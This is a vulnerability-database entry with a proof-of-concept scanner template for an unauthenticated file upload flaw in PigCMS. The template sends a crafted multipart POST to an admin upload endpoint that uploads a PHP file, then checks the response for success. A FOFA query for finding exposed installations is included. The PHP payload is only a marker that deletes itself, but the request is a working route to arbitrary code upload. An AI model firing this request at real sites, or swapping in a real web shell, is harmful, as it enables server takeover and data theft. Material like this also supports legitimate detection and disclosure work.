pigcms-file-upload: PigCMS File Upload

日期: 2025-09-01 | 影响软件: pigcms-file-upload | POC: 已公开

漏洞描述

FOFA: app="PigCms客户管理系统"

PoC代码[已公开]

id: pigcms-file-upload

info:
  name: PigCMS File Upload
  author: xpoc
  severity: critical
  verified: false
  description: |
    FOFA: app="PigCms客户管理系统"
  reference:
    - https://xz.aliyun.com/t/10470
  tags: pigcms,upload
  created: 2023/06/22

set:
  r1: randomLowercase(8)
  r2: randomLowercase(8)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /cms/manage/admin.php?m=manage&c=background&a=action_flashUpload
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n
        Content-Disposition: form-data; name=\"filePath\"; filename=\"{{r1}}.php\"\r\n
        Content-Type: video/x-flv\r\n
        \r\n
        <?php echo \"{{r2}}\"; unlink(__FILE__); ?>\r\n
        ------WebKitFormBoundary{{rboundary}}--\r\n
        "
    expression: response.status == 302 && response.body.bcontains(b"MAIN_URL_ROOT/")
    #     output:
    #         search: '"MAIN_URL_ROOT(?P<path>.+)".bsubmatch(response.body)'
    #         path: search["path"]
    # r1:
    #     request:
    #         method: GET
    #         path: /cms/{{path}}
    #     expression: response.status == 200 && response.body.bcontains(bytes(r2))
expression: r0() # && r1()